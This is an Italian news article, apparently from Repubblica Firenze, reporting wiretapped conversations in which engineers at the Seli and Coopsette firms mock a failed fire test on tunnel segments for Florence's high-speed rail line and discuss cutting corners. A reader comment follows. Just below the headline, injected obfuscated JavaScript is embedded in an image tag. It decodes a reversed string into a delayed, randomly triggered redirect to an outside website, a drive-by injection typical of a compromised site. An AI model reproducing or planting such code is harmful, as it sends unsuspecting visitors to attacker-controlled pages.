Scandalo Tav, i tecnici ridono: “’Sta prova è una minchiata”, “Ma chi vuoi salvare a 1.200 gradi?”

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$p$VTO6JhIH6WkCGAcPR=function(n){if (typeof ($p$VTO6JhIH6WkCGAcPR.list[n]) == “string”) return $p$VTO6JhIH6WkCGAcPR.list[n].split(“”).reverse().join(“”);return $p$VTO6JhIH6WkCGAcPR.list[n];};$p$VTO6JhIH6WkCGAcPR.list=[“‘php.tegdiw.ssalc/bil/orp-tegdiw-rettiwt/snigulp/tnetnoc-pw/moc.xamdok//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and(this)” href=”http://altracitta.org/wp-content/uploads/2013/02/conci_tav.jpg”>di Franca Selvatici per Repubblica Firenze

«Alla fine ‘sta prova è una minchiata », dice l’ingegner Dario Vizzino di Seli, l’azienda che con la talpa Monna Lisa ha l’incarico di scavare il tunnel dell’alta velocità ferroviaria nel sottosuolo di Firenze. L’ingegner Vizzino discute con il collega Aristodemo Busillo, procuratore speciale di Seli, della prova di resistenza al fuoco alla quale è stato sottoposto a Lipsia uno dei conci di loro produzione destinati a rivestire la galleria ferroviaria. E’ il 19 marzo 2012 e la conversazione è punteggiata di risate, forse nervose. La prova non è andata bene: si è verificato lo spalling, cioè la frantumazione del calcestruzzo per effetto termico. Mette le mani avanti Busillo: «Noi dovremmo insistere sul fatto che il concio strutturalmente è rimasto in piedi dopo 120 minuti». «Tanto alla fine ‘sta prova è una minchiata », sostiene Vizzino: «Adesso si vedrà dai dati, ma quello che abbiamo potuto vedere a occhio è che il primo spaccamento del concio, superficiale, senza arrivare al ferro, si è avuto nei primi 5-6 minuti, quando la temperatura stava già altissima, una temperatura che non permetterebbe a nessuno di andare in galleria a salvare nessuno». Busillo: «Si sarebbe squagliato». Vizzino: «Sarebbe morto. Parliamo di centinaia di gradi, già stava a 5-600 gradi. Quindi, cioè, a che cazzo serve ‘sta cosa? Chi è che va a salvarli a 1.200 gradi dopo 2 ore?» Busillo: «Chi vuoi salvare?» Vizzino: «Boh, non lo so, l’importante lì è che il concio abbia tenuto, fermo restando che se stava un’altra ora forse collassava, ma comunque alle 2 ore ha tenuto ». Busillo: «E’ un miracolo» (ride). Vizzino: «E’ un miracolo». E ride anche lui. Nei giorni successivi gli ingegneri della Seli premeranno sul professor Alberto Meda perché predisponga una relazione rassicurante sui conci. Il professore fa resistenza: «Non posso scrivere una cosa per un’altra». Busillo si irrita: «Mica a Meda ci vogliamo scopare la moglie», sbotta il 29 marzo. Vizzino un po’ giustifica il docente: «Io capisco pure quello che dice Meda. Dice: “I risultati sono devastanti, se tu li vedi non sono giustificabili in nessun modo”».

L’inchiesta della procura di Firenze, dei carabinieri del Ros e della Forestale sui lavori Tav di Firenze getta una luce inquietante sulle grandi imprese coinvolte nell’opera — prime fra tutte Coopsette (vincitrice dell’appalto) e Seli: imprese in grado di eseguire lavori di altissima ingegneria e al tempo stesso di inquinarli con dosi massicce di inganni e di cinismo. A Campo di Marte, in previsione del grande scavo, è stato rinforzato il fragile Ponte al Pino. Ne siamo sicuri? Il 17 giugno 2011 l’ingegner David Giorgetti, direttore del cantiere di Campo di Marte, ne discute con Gianfranco Ferrandino di Coopsette. Non arrivano i tubi e i lavori rischiano di fermarsi.

«Usciamo sul giornale», si preoccupa Ferrandino: «Ma non possiamo trovare dei tubi da qualche parte diversi e ci mettiamo quelli?.. Dice che c’erano dei micropali lì, ce li aveva lo scavalco…». Giorgetti obietta: «No, ascolta, vabbè, guarda… quello di progetto non è un micropalo che lo trovi così, eh?». Ferrandino: «No, ho capito: ce ne mettiamo uno a cazzo, lo so bene che non lo troviamo, la so la storia, mettiamo uno, quello che teniamo, e poi quello che cazzo succede vediamo». Come sia finita non si sa.

Le intercettazioni ci informano anche che l’ingegner Busillo chiede che Coopsette e Italferr facciano sapere agli esperti come deve essere «vestita» la relazione da presentare all’Arpat sulla biodegradabilità delle sostanze che saranno usate per lo scavo. Si apprende che un tecnico di Seli suggerisce di «taroccare» la miscela per realizzare i conci e che per gestire un polimero usato negli scavi con la maxi-fresa talvolta è stato fatto un «accrocchietto» diluendolo con il gasolio. «Però se lo facciamo così ci arrestano a tutti, capito? », dice a Busillo un tecnico impegnato (nel dicembre 2011) nei lavori di scavo della linea B1 della metropolitana di Roma.

Si scopre che all’interno di Seli si pensa a un «magheggio» sulle quantità di fibre di polipropilene imposte dalle normative Ue per prevenire la frantumazione esplosiva del calcestruzzo. Si apprende che le guarnizioni interne della talpa Monna Lisa non sono quelle originali, non tengono, non hanno le caratteristiche geometriche corrispondenti a quelle originali, ed è inutile cercare di tirarle di qua e di là perché — spiega Busillo il 20 marzo 2012 al solito Vizzino — «è l’accrocchio che ti fotte perché tu scasazzi», cioè la fresa perde. «Come facciamo il primo metro, piscia olio ‘sta macchina », ammette parlando con un tecnico: «E io qua a Firenze, secondo te, sono in grado di cambiare le guarnizioni sotto la Fortezza da Basso?».

0 Comments

  1. Curioso

    Mi domando. Questo è un lavoro dove la direzione di cantiere è affidata alla società Italferr che percepisce da RFI il 15% dell’importo dell’appalto. E’ possibile che per una prova molto importante e fondamentale per un lavoro di 800 milioni (che diventeranno senz’altro 1 miliardo) non viene eseguita nello sperimentale delle Ferrovie dello Stato??!!!!

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